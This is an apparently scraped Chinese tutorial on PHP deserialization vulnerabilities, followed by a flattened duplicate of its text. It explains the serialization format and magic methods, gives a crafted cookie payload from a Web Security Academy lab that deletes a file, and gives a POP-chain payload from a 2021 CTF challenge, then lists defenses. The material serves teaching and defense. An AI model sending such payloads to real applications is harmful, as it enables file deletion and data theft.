序列化与反序列化 | PHP反序列化漏洞
字数 2264 2025-08-11 22:57:16

PHP反序列化漏洞详解

一、序列化基础概念

1. 什么是序列化

序列化是将数据对象转换为具有一定格式的数据的过程,目的是为了方便存储和传输。在PHP中,序列化可以将对象、字符串、数组、变量等转换为特定格式的字符串。

2. PHP序列化函数

PHP中使用serialize()函数进行序列化:

string serialize ( mixed $value )

3. 序列化示例

class Deu {
    public $name = "Deutsh";
    private $age = 66;
    protected $sex = "male";
    public $domain = array("shtwo.top","www.shtwo.top");
    public function say_hello() {
        echo "hello";
    }
}

$class = new Deu();
$serClass = serialize($class);
print_r($serClass);

输出结果:

O:3:"Deu":4:{s:4:"name";s:6:"Deutsh";s:8:"Deuage";i:66;s:6:"*sex";s:4:"male";s:6:"domain";a:2:{i:0;s:9:"shtwo.top";i:1;s:13:"www.shtwo.top";}}

4. 序列化数据结构解析

序列化字符串分为两大部分:

  1. 数据对象类型:数据名称长度:数据名称:对象个数

    • 示例:O:3:"Deu":4
  2. 对象属性结构(以;分割)

    • 示例:{s:4:"name";s:6:"Deutsh";...}

5. 不同数据类型的序列化结构

类型 结构
String s:size:value;
Integer i:value;
Boolean b:value; (保存1或0)
Null N;
Array a:size:{key;value;(repeated)}
Object O:strlen(name):name:size:{properties}

6. 访问控制符对序列化的影响

  • public:序列化后没有变化
  • protected:序列化为%00*%00属性名(长度计算包含空字符)
  • private:序列化为%00类名%00属性名(长度计算包含空字符)

二、反序列化基础

1. 反序列化函数

PHP中使用unserialize()函数进行反序列化:

mixed unserialize ( string $str )

2. 反序列化示例

$class_unser = unserialize($class_ser);
print_r($class_unser);

三、PHP魔法方法

1. 构造函数与析构函数

  • __construct():对象创建时调用
  • __destruct():对象销毁时调用

2. 序列化相关魔法方法

  • __sleep():在serialize()前调用,可指定要序列化的属性
  • __wakeup():在unserialize()后调用

3. 其他重要魔法方法

  • __toString():对象被当作字符串使用时调用
  • __invoke():对象被当作函数调用时触发
  • 属性重载方法:
    • __get():读取不可访问属性时调用
    • __set():写入不可访问属性时调用
    • __isset():对不可访问属性调用isset()时
    • __unset():对不可访问属性调用unset()时

四、PHP反序列化漏洞

1. 漏洞成因

反序列化漏洞的根本原因是unserialize()函数的参数可控,配合PHP魔法方法的自动调用机制,可能形成攻击链。

2. 常见利用点

  • __destruct():对象销毁时自动调用
  • __wakeup():反序列化时自动调用

3. 漏洞利用示例(Web Security Academy案例)

目标:删除/home/Carlos/morale.txt文件

步骤

  1. 发现网站使用序列化对象传递用户身份数据
  2. 找到CustomTemplate.php~备份文件
  3. 分析其中的__destruct()方法:
function __destruct() {
    if (file_exists($this->lock_file_path)) {
        unlink($this->lock_file_path);
    }
}
  1. 构造恶意序列化对象:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
  1. 将序列化字符串Base64编码后替换Cookie中的session值

五、POP链构造

POP(Property-Oriented Programing)面向属性编程,类似于二进制中的ROP,通过构造特定调用链实现攻击。

1. 2021强网杯-赌徒题目分析

目标:读取flag文件

源码关键点

  1. Room::Get_hint()可以读取文件
  2. Room::__invoke()调用了Get_hint()
  3. Room::__get()中将对象作为函数调用
  4. Info::__toString()中访问不存在属性触发__get()
  5. Start::_sayhello()中echo触发__toString()
  6. Start::__wakeup()调用_sayhello()

POP链构造

  1. 反序列化触发__wakeup()
  2. __wakeup()调用_sayhello()
  3. _sayhello()中echo $this->name(设为Info对象)触发__toString()
  4. __toString()中访问不存在属性触发__get()
  5. __get()中将Room对象作为函数调用触发__invoke()
  6. __invoke()调用Get_hint()读取flag

构造的payload

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

六、防御措施

  1. 不要反序列化不可信数据
  2. 使用签名验证序列化数据的完整性
  3. 限制反序列化类白名单
  4. 对魔法方法进行安全审查
  5. 使用替代方案如JSON进行数据交换

七、总结

PHP反序列化漏洞的核心在于:

  1. unserialize()参数可控
  2. 魔法方法的自动调用机制
  3. 通过POP链构造实现攻击

理解序列化格式、熟悉魔法方法调用时机、掌握POP链构造方法是分析和防御此类漏洞的关键。

PHP反序列化漏洞详解 一、序列化基础概念 1. 什么是序列化 序列化是将数据对象转换为具有一定格式的数据的过程,目的是为了方便存储和传输。在PHP中,序列化可以将对象、字符串、数组、变量等转换为特定格式的字符串。 2. PHP序列化函数 PHP中使用 serialize() 函数进行序列化: 3. 序列化示例 输出结果: 4. 序列化数据结构解析 序列化字符串分为两大部分: 数据对象类型:数据名称长度:数据名称:对象个数 示例: O:3:"Deu":4 对象属性结构 (以 ; 分割) 示例: {s:4:"name";s:6:"Deutsh";...} 5. 不同数据类型的序列化结构 | 类型 | 结构 | |---------|------------------------------------------| | String | s:size:value; | | Integer | i:value; | | Boolean | b:value; (保存1或0) | | Null | N; | | Array | a:size:{key;value;(repeated)} | | Object | O:strlen(name):name:size:{properties} | 6. 访问控制符对序列化的影响 public :序列化后没有变化 protected :序列化为 %00*%00属性名 (长度计算包含空字符) private :序列化为 %00类名%00属性名 (长度计算包含空字符) 二、反序列化基础 1. 反序列化函数 PHP中使用 unserialize() 函数进行反序列化: 2. 反序列化示例 三、PHP魔法方法 1. 构造函数与析构函数 __construct() :对象创建时调用 __destruct() :对象销毁时调用 2. 序列化相关魔法方法 __sleep() :在 serialize() 前调用,可指定要序列化的属性 __wakeup() :在 unserialize() 后调用 3. 其他重要魔法方法 __toString() :对象被当作字符串使用时调用 __invoke() :对象被当作函数调用时触发 属性重载方法: __get() :读取不可访问属性时调用 __set() :写入不可访问属性时调用 __isset() :对不可访问属性调用isset()时 __unset() :对不可访问属性调用unset()时 四、PHP反序列化漏洞 1. 漏洞成因 反序列化漏洞的根本原因是 unserialize() 函数的参数可控,配合PHP魔法方法的自动调用机制,可能形成攻击链。 2. 常见利用点 __destruct() :对象销毁时自动调用 __wakeup() :反序列化时自动调用 3. 漏洞利用示例(Web Security Academy案例) 目标 :删除 /home/Carlos/morale.txt 文件 步骤 : 发现网站使用序列化对象传递用户身份数据 找到 CustomTemplate.php~ 备份文件 分析其中的 __destruct() 方法: 构造恶意序列化对象: 将序列化字符串Base64编码后替换Cookie中的session值 五、POP链构造 POP(Property-Oriented Programing)面向属性编程,类似于二进制中的ROP,通过构造特定调用链实现攻击。 1. 2021强网杯-赌徒题目分析 目标 :读取flag文件 源码关键点 : Room::Get_hint() 可以读取文件 Room::__invoke() 调用了 Get_hint() Room::__get() 中将对象作为函数调用 Info::__toString() 中访问不存在属性触发 __get() Start::_sayhello() 中echo触发 __toString() Start::__wakeup() 调用 _sayhello() POP链构造 : 反序列化触发 __wakeup() __wakeup() 调用 _sayhello() _sayhello() 中echo $this->name (设为Info对象)触发 __toString() __toString() 中访问不存在属性触发 __get() __get() 中将Room对象作为函数调用触发 __invoke() __invoke() 调用 Get_hint() 读取flag 构造的payload : 六、防御措施 不要反序列化不可信数据 使用签名验证序列化数据的完整性 限制反序列化类白名单 对魔法方法进行安全审查 使用替代方案如JSON进行数据交换 七、总结 PHP反序列化漏洞的核心在于: unserialize() 参数可控 魔法方法的自动调用机制 通过POP链构造实现攻击 理解序列化格式、熟悉魔法方法调用时机、掌握POP链构造方法是分析和防御此类漏洞的关键。